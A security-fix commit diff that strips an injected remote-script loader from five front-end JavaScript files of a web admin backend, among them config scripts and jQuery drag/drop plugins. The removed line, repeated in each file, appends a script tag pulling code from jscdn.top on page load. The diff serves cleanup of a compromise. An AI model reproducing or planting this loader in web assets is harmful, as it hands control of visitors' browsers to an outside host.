fix(security): 全面清除泛目录PHP木马与暗链劫持代码，恢复前端静态资源纯净度并建立回归测试

public/assets/js/backend/general/config.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) {
 
     var Controller = {

public/assets/js/backend/index.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 define(['jquery', 'bootstrap', 'backend', 'addtabs', 'adminlte', 'form'], function ($, undefined, Backend, undefined, AdminLTE, Form) {
     var Controller = {
         index: function () {

public/assets/js/backend/official/config.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) {
 
     var Controller = {

public/assets/js/jquery.drag.min.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /*! 
  * jquery.event.drag - v 2.2
  * Copyright (c) 2010 Three Dub Media - http://threedubmedia.com

public/assets/js/jquery.drop.min.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /*! 
  * jquery.event.drop - v 2.2
  * Copyright (c) 2010 Three Dub Media - http://threedubmedia.com